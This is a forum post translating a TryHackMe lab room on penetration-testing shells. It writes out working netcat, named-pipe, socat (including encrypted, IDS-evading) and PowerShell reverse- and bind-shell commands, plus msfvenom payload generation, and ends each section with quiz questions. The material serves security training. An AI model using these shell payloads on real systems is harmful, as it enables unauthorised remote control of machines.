找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4377

积分

0

好友

607

主题
发表于 1 小时前 | 查看: 1| 回复: 0

第 1 章 前言

这是 TryHackMe 平台渗透测试系列章节的最后一个房间内容。原本打算直接机翻再简单校对,但转念一想,这不正是练习技术英语阅读的好机会吗?所以决定全程手动翻译,只在实在搞不定的地方求助谷歌。手工翻译难免会有疏漏,建议英文功底好的读者直接查阅原文。

第 2 章 Shell基础与类型

在深入探讨权限提升之前,我们有必要先厘清常见的 shell 类型以及如何让它们变得更稳定、更好用。

2.1 什么是 Shell?

简单来说,shell 就是我们与命令行环境交互的桥梁。比如,Linux 中常用的 bashsh,Windows 里的 cmd.exePowershell,都是典型的 shell。

在渗透测试中,当我们成功在目标机器上实现了远程代码执行时,下一步往往就是获取一个能在目标上运行的 shell。实现方式主要有两种:一种是让目标机器主动连接回我们攻击机的监听端口,这称为反向shell;另一种则是我们主动去连接目标机器上开放的某个端口,这被称为正向shell。

简单记忆:Reverse shell 就是反向/反弹 shell;Bind shell 就是正向 shell。

2.2 常用工具介绍

无论是接收反向 shell 还是连接正向 shell,我们都离不开一些关键工具。

1. Netcat
Netcat 被誉为网络界的“瑞士军刀”,功能强大。对我们而言,它最重要的用途就是作为监听器接收反弹 shell,或者去连接目标上的正向 shell 端口。
需要注意的是,默认的 Netcat shell 往往不太稳定,容易意外断开。

2. Socat
可以把 Socat 看作是功能增强版的 Netcat。它不仅能完成 Netcat 的所有工作,还能提供更稳定的 shell 连接。不过,它的语法相对复杂,并且不像 Netcat 那样在多数系统上默认安装。

3. Metasploit -- multi/handler
这是 Metasploit 框架中的一个模块,专门用于接收反弹 shell。它提供了一种成熟、稳定的 shell 交互方式,并且是与 Meterpreter shell 交互、处理分阶段 payload 的首选工具。

4. Msfvenom
同样来自 Metasploit 生态,但可作为独立工具使用。Msfvenom 的核心作用是动态生成各种 payload,当然也包括我们需要的反向和正向 shell。由于其功能强大,我们会在后文专门讨论。

除了这些工具,互联网上也有许多优秀的资源,例如 Payloads all the ThingsPentestMonkey 的反向 Shell 备忘录,它们收集了各种语言和场景下的 shell 代码。在 Kali Linux 中,/usr/share/webshells 目录下也预置了一些可用的 WebShell。

2.3 反向Shell与正向Shell详解

我们主要关注两种 shell:反向Shell和正向Shell。

  • 反向Shell:目标机器主动连接攻击者设定的监听端口。这种方式的好处是可以绕过目标机器上限制入站连接的防火墙规则。缺点则是攻击者需要配置自己的网络环境以接受来自外部的连接(例如,云服务器需要设置安全组)。
  • 正向Shell:在目标机器上开启一个监听端口并绑定 shell。攻击者主动去连接这个端口。这种方式无需攻击者进行网络配置,但可能被目标的出站防火墙阻止。

通常情况下,反向 shell 更容易执行和调试。下面我们来看具体例子。

反向Shell示例:
在攻击机上启动监听:

sudo nc -lvnp 443

在目标机上执行命令,使其连接回攻击机:

nc <攻击机IP> <攻击机端口> -e /bin/bash

反向Shell连接示例
如图所示,监听器收到连接后,执行 whoami 命令显示的是目标机器上的用户身份。这里的关键是:我们在自己的机器上监听,目标来连接我们

nc-e 选项指定连接成功后执行的程序,这里表示连接成功后启动 bash 并将其输入/输出重定向到网络连接。

正向Shell示例:
这次以 Windows 目标为例。先在目标上启动监听:

nc -lvnp <端口> -e “cmd.exe”

然后在攻击机上主动连接目标端口:

nc <目标IP> <目标端口>

正向Shell连接示例
连接成功后,我们就能在目标机上执行命令了。核心点在于:目标在监听,我们主动去连

交互式 vs 非交互式 Shell

  • 交互式 Shell:就像我们平时用的 SSH 登录到 Linux,或者打开本地的命令行窗口一样,可以实时与程序交互(例如,SSH 会问你“是否继续连接?”)。
    交互式SSH提示
  • 非交互式 Shell:通常由简单的反向/正向 shell 获得。在这种 shell 中,无法运行需要用户交互的程序(如 sshtop 等),只能执行立即返回结果的命令(如 whoamils)。
    非交互式Shell中SSH命令无输出

上图中的 listener 是演示机器上的一个别名,实际命令是 sudo rlwrap nc -lvnp 443

思考题:

  1. 哪种 shell 会回连到您计算机上的侦听端口,反向 (R) 还是正向 (B)?
  2. 您将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗?(是或否)
  3. 使用正向 shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器?

2.4 Netcat 实战

Netcat 是涉及网络操作的渗透测试中最基础的工具之一。我们聚焦于用它处理 shell。

启动反向Shell监听器 (Linux):

nc -lvnp <端口号>
  • -l: 监听模式。
  • -v: 详细输出。
  • -n: 不解析域名,直接使用IP。
  • -p: 指定端口。

使用 1024 以下的知名端口(如80, 443)时,通常需要 sudo 权限,并且这类端口更易通过防火墙。

示例:在443端口开启监听。

sudo nc -lvnp 443

连接正向Shell:
假设目标已在某端口(如4444)开启了正向 shell 监听,我们只需连接它:

nc <目标IP> <目标端口>

2.5 加固 Netcat Shell

刚获得的 Netcat shell 往往很“脆弱”:按 Ctrl+C 会断开,不支持 tab 补全,而且是非交互式的。下面介绍三种在 Linux 上稳定它的方法。

技术一:Python PTY 升级
此法适用于绝大多数安装了 Python 的 Linux 目标。

  1. 目标的 shell 中执行,升级到功能更全的 bash:
    python -c ‘import pty; pty.spawn(“/bin/bash”)’

    (根据情况替换为 python2python3

  2. 仍在目标 shell 中,设置终端类型:
    export TERM=xterm
  3. Ctrl+Z 将 shell 挂起到后台,回到攻击机的终端,输入以下命令后再按回车:
    stty raw -echo; fg

    这个操作会禁用本地终端的回显(让你可以在 shell 内使用 Ctrl+C),然后将挂起的 shell 带回前台。

Python加固Shell全过程

如果之后 shell 断开,你的本地终端输入可能不可见,输入 reset 命令即可恢复。

技术二:使用 rlwrap
rlwrap 可以让我们一获得 shell 就拥有命令历史记录和 tab 补全功能。Kali 默认未安装,需先运行 sudo apt install rlwrap
使用它启动监听器:

rlwrap nc -lvnp <端口>

此法对不稳定的 Windows shell 尤为有用。对于 Linux shell,可在此基础上再结合技术一的第3步 (stty raw -echo; fg) 进行完全加固。

技术三:升级到 Socat Shell (仅限Linux)
这是最稳定的方法,但需要在目标机器上上传 Socat 的静态编译二进制文件。
上传文件的方法:在攻击机开启一个临时的 Web 服务器。

# Python3
sudo python3 -m http.server 80
# Python2
sudo python -m SimpleHTTPServer 80

然后在目标的 Netcat shell 中使用 wgetcurl 下载文件即可。

调整终端 TTY 大小
为了在获得的 shell 中能全屏使用 vim 等文本编辑器,需要手动设置 tty 尺寸。

  1. 攻击机终端查看当前尺寸:
    stty -a

    记下 rows(行)和 columns(列)的值。
    查看终端尺寸

  2. 在获得的 reverse/bind shell 中设置相同尺寸:
    stty rows <行数>
    stty cols <列数>

思考题:

  1. 如何将终端宽度(列)设置为 238?
  2. 在端口 80 上启动 Python3 简易 Web 服务器的命令是什么?

2.6 Socat 进阶用法

Socat 可视为两点之间的连接器。其语法比 Netcat 复杂,但功能也更强大。

反向Shell

  • 攻击机监听:
    socat TCP-L:<端口> -
  • Windows 目标连接:
    socat TCP:<攻击机IP>:<攻击机端口> EXEC:powershell.exe,pipes

    pipes 参数用于适配 PowerShell 的输入输出)

  • Linux 目标连接:
    socat TCP:<攻击机IP>:<攻击机端口> EXEC:“bash -li”

正向Shell

  • Linux 目标监听:
    socat TCP-L:<端口> EXEC:“bash -li”
  • Windows 目标监听:
    socat TCP-L:<端口> EXEC:powershell.exe,pipes
  • 攻击机连接(通用):
    socat TCP:<目标IP>:<目标端口> -

完全交互式的 TTY 反向Shell (仅Linux)
这是 Socat 最实用的功能之一,能获得一个非常稳定的全功能 TTY shell。

  1. 攻击机使用特殊语法监听:
    socat TCP-L:<端口> FILE:`tty`,raw,echo=0
  2. 目标(需安装 socat)使用复杂命令连接:
    socat TCP:<攻击机IP>:<攻击机端口> EXEC:“bash -li”,pty,stderr,sigint,setsid,sane

    参数解释:

    • pty:分配伪终端,是稳定的关键。
    • stderr:确保错误信息能显示。
    • sigint:允许在 shell 内使用 Ctrl+C
    • setsid:在新会话中创建进程。
    • sane:尝试规范化终端设置。

Socat稳定TTY Shell建立过程

思考题:

  1. 如何让 Socat 监听 TCP 端口 8080?

2.7 加密的 Socat Shells

Socat 支持创建加密的 shell,有助于规避网络监控和 IDS。方法很简单:将前面命令中的 TCP 替换为 OPENSSL

首先,在攻击机上生成自签名证书:

openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

生成SSL证书

加密反向Shell

  • 攻击机监听:
    socat OPENSSL-LISTEN:<端口>,cert=shell.pem,verify=0 -
  • 目标连接:
    socat OPENSSL:<攻击机IP>:<攻击机端口>,verify=0 EXEC:/bin/bash

加密正向Shell

  • 目标监听:
    socat OPENSSL-LISTEN:<端口>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
  • 攻击机连接:
    socat OPENSSL:<目标IP>:<目标端口>,verify=0 -

思考题:

  1. 使用之前提到的 TTY 技术,在端口 53 上设置一个使用 encrypt.pem 证书的 OPENSSL 监听器,语法是什么?
  2. 如果你的 IP 是 10.10.10.5,如何连接回这个监听器?

2.8 常见 Payload 一览

在使用 msfvenom 之前,我们先看看一些用基础工具构造的常用 payload。

Netcat 正向Shell (Linux 无 -e 选项时)
这是一个经典的利用命名管道构造的正向 shell 监听命令:

mkfifo /tmp/f; nc -lvnp <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Netcat正向Shell payload示例

Netcat 反向Shell (Linux 无 -e 选项时)
原理类似,只是改为主动连接:

mkfifo /tmp/f; nc <攻击机IP> <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Netcat反向Shell payload示例

PowerShell 反向Shell (Windows)
这是一条非常实用的单行命令,需要替换其中的 <IP><端口>

powershell -c “$client = New-Object System.Net.Sockets.TCPClient(‘<IP>’,<端口>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

PowerShell反向Shell示例

更多 payload 可以参考 PayloadsAllTheThings 项目。

思考题:

  1. 在 Linux 中,用什么命令创建命名管道?

2.9 Msfvenom:Payload 生成利器

msfvenom 主要用于生成各种格式的反向和正向 shell payload,也常用于漏洞利用中的 shellcode 生成。

基本语法:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,生成一个 Windows x64 的反向 shell 可执行文件:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<监听IP> LPORT=<监听端口>

生成Windows反向Shell

Staged vs Stageless Payloads

  • Staged (分阶段):Payload 分为两部分。先发送一个体积很小的 stager 建立连接,再通过这个连接下载完整的 shellcode 到内存中执行。优点是初始部分小,不易被检测,但需要配合 Metasploit 的 multi/handler 等特殊监听器。
  • Stageless (无阶段):Payload 是完整的、自包含的,执行后立即建立 shell。更易用,但体积较大。在 msfvenom 的命名中,通常用下划线 _ 表示 Stageless,用斜杠 / 表示 Staged。

Meterpreter Shell
这是 Metasploit 特有的、功能强大的 shell,非常稳定,且内置了文件管理、权限提升等多种后渗透模块。缺点是需要用 Metasploit 来接收。

Payload 命名规范
基本格式:<OS>/<arch>/<payload>
示例:

  • linux/x86/shell/reverse_tcp : Linux x86 的 Stageless 反向 shell。
  • windows/shell/reverse_tcp : Windows 的 Staged 反向 shell(通常不指定32位架构)。
  • linux/x64/meterpreter_reverse_tcp : Linux x64 的 Stageless Meterpreter 反向 shell。

列出所有 payload:

msfvenom --list payloads

可以结合 grep 进行筛选,例如查找所有 Linux x86 的 meterpreter payload:

msfvenom --list payloads | grep “linux/x86/meterpreter”

列出特定类型payload

思考题:

  1. 生成一个用于 64 位 Windows 目标的 Staged 反向 shell(.exe 格式),命令是怎样的?
  2. msfvenom 的 payload 命名中,哪个符号用来表示它是 Stageless 的?
  3. 生成一个用于 64 位 Linux 目标的 Staged Meterpreter 反向 shell,ELF 格式,输出文件名为 shell,假设你的 IP 是 10.10.10.5,端口是 443。

以上就是关于 shell 技术与权限提升基础工具的全面解析。掌握这些是进行有效渗透测试网络系统安全评估的关键第一步。实践出真知,欢迎在云栈社区分享你的实战经验和遇到的问题。




上一篇:双TL431搭建4-20mA转换器:工业电流环的高性价比实战设计
下一篇:技术干货:深入剖析SIM Jacker攻击原理,从GSM短信到OTA消息的移动安全漏洞
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-21 01:38 , Processed in 0.626628 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表